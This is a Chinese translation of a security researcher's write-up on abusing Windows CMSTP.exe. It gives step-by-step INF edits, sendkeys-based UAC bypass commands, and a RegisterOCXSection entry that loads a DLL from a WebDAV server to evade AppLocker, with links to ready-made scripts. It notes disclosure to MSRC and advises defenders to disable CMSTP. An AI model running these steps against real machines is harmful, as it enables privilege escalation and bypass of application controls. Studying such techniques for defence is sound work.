译者:myswsun
预估稿费:120RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
我乐于花时间深入研究Windows内部的二进制文件以发现隐藏的功能。本文就是我发现的关于CMSTP.exe文件的一些东西。
我发现了使用sendkeys来绕过UAC的方式及从Webdav服务器加载DLL的方式。我知道我发现的绕过方式有点无聊,但是如果这能鼓励其他人一起加入研究,我将非常高兴。在这个二进制文件中可能有更多的东西等待被发现,所以我们继续往下看。
我已经把这个问题报告给了MSRC,他们已经解决了这个问题。
UAC绕过漏洞通常问题不大,可以通过合理配置阻止终端用户访问本地管理员功能。(UAC不是安全边界)
如果你想要了解更多UAC相关的内容,我推荐阅读James Foreshaw的精彩文章:
https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html
https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-2.html
https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-3.html
0x01绕过UAC
下载下面的inf文件和脚本文件,把他们保存到系统中:
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf
调整脚本并运行,结果如下:
https://msitpros.com/wp-content/uploads/2017/08/UAC-Bypass-Sendkeys-CMSTP.gif
0x02从Webdav加载DLL
下载下面的文件(文件名很重要):
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cmp
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cms
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-inf
调整inf文件中的“RegisterOCXSection”,将它指向托管于你的Webdav服务器上的DLL。
然后运行下面的命令(文件名很重要):
Cmstp.exe /ni /s c:cmstpCorpVPN.inf
https://msitpros.com/wp-content/uploads/2017/08/WebDavDLLLoadBlog.gif
0x03绕过UAC的步骤
本节,我将描述所有的步骤。下面会有很多截图,但是我认为是有必要的。
如果你不加参数启动了cmstp.exe,结果如下:
如何创建这些配置文件和它们如何安装才是有趣的地方。
我阅读了一些关于CMAK(Connection Manager Administration Kit)的资料——其是Windows的一个功能,因此我继续通过如下方式启动了它:
当这个功能安装完成后,你能在开始菜单中启动CMAK。它的图标如下:
在启动CMAK后,会出现下面的向导。下面的截图是我选择的选项:
文件位于向导中显示的路径下。我的这个例子中是:C:Program FilesCMAKProfilesWindows Vista and aboveCorpVPN
这个.exe和.sed文件是IEXPRESS(Windows中用于创建“installer“的二进制文件)文件。可以忽略它们。更多关于IEXPRESS的细节如下:https://en.wikipedia.org/wiki/IExpress
现在可以愉快的玩耍了。
在C盘下创建一个文件夹(名为CMSTP)。复制CorpVPN.inf文件到这个目录中:
现在使用记事本打开inf文件,找到RunPreSetupCommandsSection,然后添加下面两行代码(第一行是你想运行的命令):
c:windowssystem32cmd.exe
taskkill /IM cmstp.exe /F
你需要注释下面两行:
CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM
AddReg=Xnstall.AddReg.AllUsers
现在,如果你运行下面的命令行,点击提示框:
C:WindowsSystem32cmstp.exe c:cmstpcorpvpn.inf /au
奇怪的是这个可执行文件不该自动提权。如果我们运行sigcheck检测这个文件,从转储的manifest中我们可以确认这个:
同时,如果我们检查这个进程的特权级,我们确定它默认不该提权,但是现在运行于medium特权级:
现在有趣的是我们可以使用脚本中的sendkeys来自动提权。所有需要的东西我们都有了。
微软在过去已经采取了安全措施(UIPI)来阻止sendkeys攻击,因此我很惊讶这个还能起作用。我认为这有点酷啊。。。
我创建了一个简单的脚本:
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1
我还编写了个预置的UACBypass.inf文件,因此你不需要按照上述步骤来安装CMAK:
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf
我没有时间来逆向CMSTP以查看它是如何提权的,但是其他人可以进一步研究。如果我有时间我也会研究下。
0x04从Webdav服务器实现加载DLL的步骤
我还发现了你能从Webdav中加载DLL文件,并执行它们。这在一些场景中能用于绕过AppLocker。你能按照绕过UAC中的CMAK向导教程来完成这个。
你需要在INF文件中添加下面的内容(你能看到从磁盘加载的dll):
[RegisterOCXSection]
\10.10.10.10webdavAllTheThings.dll
在你运行这个命令之前,你还需要CorpVPN.cmp和CorpVPN.cms,将它们放置于和INF文件同目录:
当然你的DLL文件需要位于Webdav服务器上。
现在,你应该能运行下面的命令来加载DLL了:
cmstp.exe /ni /s c:cmstpCorpVPN.inf
注意,这将安装一个VPN配置,我还没发现其他更好的方式来加载dll。
AllTheThings.dll来自Casey Smith(@Subtee)的分享:
https://github.com/subTee/AllTheThings
作为防御者,我开始研究CMSTP.exe,如果你开启了Device Guard/Applocker,我建议禁用CMSTP。(除非你需要依赖它来安装VPN连接)。